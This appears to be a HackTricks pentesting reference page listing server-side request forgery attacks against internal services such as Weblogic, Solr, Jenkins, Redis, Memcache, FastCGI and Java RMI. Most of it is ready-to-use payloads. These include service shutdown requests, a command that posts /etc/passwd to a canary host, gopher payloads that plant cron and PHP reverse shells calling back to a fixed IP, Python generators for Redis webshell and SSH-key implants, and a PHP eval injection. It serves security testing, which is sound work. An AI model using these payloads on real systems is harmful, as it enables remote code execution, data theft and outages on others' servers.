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hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md
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2023-04-25 20:35:28 +02:00

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<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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</details>
This section was copied from [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
# Elasticsearch
**Commonly bound port: 9200**
When Elasticsearch is deployed internally, it usually does not require authentication.
If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:
```http
/_cluster/health
/_cat/indices
/_cat/health
```
If you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:
Note: the `_shutdown` API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:
```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
```
# Weblogic
**Commonly bound ports: 80, 443 (SSL), 7001, 8888**
**SSRF Canary: UDDI Explorer (CVE-2014-4210)**
```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```
This also works via GET:
```bash
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```
This endpoint is also vulnerable to CRLF injection:
```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
```
Will result in the following request:
```
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
```
**SSRF Canary: CVE-2020-14883**
Taken from [here](https://forum.90sec.com/t/topic/1412).
Linux:
```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
Windows:
```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
# Hashicorp Consul
**Commonly bound ports: 8500, 8501 (SSL)**
Writeup can be found [here](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
# Shellshock
**Commonly bound ports: 80, 443 (SSL), 8080**
In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:
Short list of CGI paths to test:
[Gist containing paths](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
**SSRF Canary: Shellshock via User Agent**
```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
```
# Apache Druid
**Commonly bound ports: 80, 8080, 8888, 8082**
See the API reference for Apache Druid [here](https://druid.apache.org/docs/latest/operations/api-reference.html).
If you can view the status code, check the following paths to see if they return a 200 status code:
```bash
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
```
Shutdown tasks, requires you to guess task IDs or the datasource name:
```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
```
Shutdown supervisors on Apache Druid Overlords:
```bash
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```
# Apache Solr
**Commonly bound port: 8983**
**SSRF Canary: Shards Parameter**
> To add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.
>
> — Хавиж Наффи 🥕 (@nnwakelam) [January 13, 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref\_src=twsrc%5Etfw)
Taken from [here](https://github.com/veracode-research/solr-injection).
```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
```
**SSRF Canary: Solr XXE (2017)**
[Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html)
```bash
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
```
**RCE via dataImportHandler**
[Research on RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
# PeopleSoft
**Commonly bound ports: 80,443 (SSL)**
Taken from this research [here](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
**SSRF Canary: XXE #1**
```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
```
**SSRF Canary: XXE #2**
```http
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
```
# Apache Struts
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRF Canary: Struts2-016**:
Append this to the end of every internal endpoint/URL you know of:
```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
```
# JBoss
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRF Canary: Deploy WAR from URL**
```bash
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
```
# Confluence
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)**
```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
```
**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)**
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
# Jira
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)**
[Atlassian Security Ticket JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
```bash
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
```
# Other Atlassian Products
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
* Bamboo < 6.0.0
* Bitbucket < 4.14.4
* Crowd < 2.11.2
* Crucible < 4.3.2
* Fisheye < 4.3.2
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
# OpenTSDB
**Commonly bound port: 4242**
[OpenTSDB Remote Code Execution](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
**SSRF Canary: curl via RCE**
```bash
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
```
[OpenTSDB 2.4.0 Remote Code Execution](https://github.com/OpenTSDB/opentsdb/issues/2051)
**SSRF Canary: curl via RCE - CVE-2020-35476**
```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
```
# Jenkins
**Commonly bound ports: 80,443 (SSL),8080,8888**
Great writeup [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
**SSRF Canary: CVE-2018-1000600**
```bash
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
```
**RCE**
Follow the instructions here to achieve RCE via GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
```
**RCE via Groovy**
```
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
```
# Hystrix Dashboard
**Commonly bound ports: 80,443 (SSL),8080**
Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.
**SSRF Canary: CVE-2020-5412**
```bash
/proxy.stream?origin=http://SSRF_CANARY/
```
# W3 Total Cache
**Commonly bound ports: 80,443 (SSL)**
W3 Total Cache 0.9.2.6-0.9.3
**SSRF Canary: CVE-2019-6715**
This needs to be a PUT request:
```bash
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
```
**SSRF Canary**
The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3\_total\_cache.html)
This PHP code will generate a payload for your SSRF Canary host (replace `url` with your canary host):
```php
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
```
# Docker
**Commonly bound ports: 2375, 2376 (SSL)**
If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker's API:
```bash
/containers/json
/secrets
/services
```
**RCE via running an arbitrary docker image**
```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
```
Replace alpine with an arbitrary image you would like the docker container to run.
# Gitlab Prometheus Redis Exporter
**Commonly bound ports: 9121**
This vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus and its exporters are on by default, starting with GitLab 9.0.`
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:
```bash
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```
***
**Possible via Gopher**
# Redis
**Commonly bound port: 6379**
Recommended reading:
* [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
* [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE via Cron** - [Gopher Attack Surfaces](https://blog.chaitin.cn/gopher-attack-surfaces/)
```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
```
Gopher:
```bash
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```
**RCE via Shell Upload (PHP)** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)
```python
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
```
**RCE via authorized\_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)
```python
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
```
**RCE on GitLab via Git protocol**
Great writeup from Liveoverflow [here](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
While this required authenticated access to GitLab to exploit, I am including the payload here as the `git` protocol may work on the target you are hacking. This payload is for reference.
```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
# Memcache
**Commonly bound port: 11211**
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
* [Example Gopher payload for Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
```bash
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
```
# Apache Tomcat
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
Effective against Tomcat 6 only:
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
CTF writeup using this technique:
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
# FastCGI
**Commonly bound ports: 80,443 (SSL)**
This was taken from [here](https://blog.chaitin.cn/gopher-attack-surfaces/).
```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
```
# Java RMI
**Commonly bound ports: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
Blind _SSRF_ vulnerabilities that allow arbitrary bytes (_gopher based_) can be used to perform deserialization or codebase attacks on the _Java RMI_ default components (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). A detailed writeup can be found [here](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). The following listing shows an example for the payload generation:
```
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
```
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